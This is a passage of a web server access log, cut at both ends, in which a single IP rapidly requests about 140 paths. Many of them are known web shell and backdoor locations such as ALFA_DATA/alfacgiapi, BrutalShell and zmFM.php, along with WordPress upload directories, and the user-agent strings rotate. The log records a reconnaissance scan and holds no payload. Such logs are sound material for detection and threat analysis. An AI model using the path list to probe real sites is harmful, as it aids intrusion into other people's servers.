rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:20 -0400] "GET /vendor/bin/loader.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:20 -0400] "GET /OVA-MASS-UP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:53:21 -0400] "GET /up-UP-up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:21 -0400] "GET /.well-known/acme-challenge/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:21 -0400] "GET /wp-includes/sitemaps/providers/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:21 -0400] "GET /wp-includes/pomo/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:22 -0400] "GET /wp-admin/css/colors/ectoplasm/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:22 -0400] "GET /wp-includes/PHPMailer/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:22 -0400] "GET /wp-includes/customize/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:22 -0400] "GET /wp-includes/certificates/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:22 -0400] "GET /wp-includes/theme-compat/zmFM.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:23 -0400] "GET /wp-content/plugins/seoxx/randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:23 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:23 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:23 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:23 -0400] "GET /heh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:24 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:24 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:24 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:24 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:24 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:53:25 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:53:25 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:25 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:25 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:25 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:26 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:26 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:26 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:27 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:27 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:27 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:27 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:27 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:28 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:28 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:29 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:53:29 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:53:29 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:29 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:30 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:30 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:30 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:30 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:30 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:31 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:31 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:31 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:31 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:32 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:32 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:32 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:33 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:33 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:33 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 37.19.211.38 - - [29/Apr/2025:14:53:33 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:53:33 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:33 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:34 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:34 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:53:34 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:34 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:34 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:35 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:35 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:35 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 37.19.211.38 - - [29/Apr/2025:14:53:35 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:35 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:36 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:53:36 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:36 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 37.19.211.38 - - [29/Apr/2025:14:53:36 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:36 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:37 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:37 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:37 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:37 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:37 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:37 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 37.19.211.38 - - [29/Apr/2025:14:53:38 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:53:38 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:38 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 37.19.211.38 - - [29/Apr/2025:14:53:38 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:53:38 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:53:38 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:39 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:39 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:39 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:39 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:39 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:53:39 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 37.19.211.38 - - [29/Apr/2025:14:53:40 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:40 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:40 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 37.19.211.38 - - [29/Apr/2025:14:53:40 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:40 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:40 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:53:41 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:41 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - [29/Apr/2025:14:53:41 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:41 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 37.19.211.38 - - [29/Apr/2025:14:53:41 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:41 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 37.19.211.38 - - [29/Apr/2025:14:53:42 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:53:42 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:42 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 37.19.211.38 - - [29/Apr/2025:14:53:42 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:42 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 37.19.211.38 - - [29/Apr/2025:14:53:42 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:43 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 37.19.211.38 - - [29/Apr/2025:14:53:43 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:43 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 37.19.211.38 - - [29/Apr/2025:14:53:43 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 37.19.211.38 - - [29/Apr/2025:14:53:43 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 37.19.211.38 - - 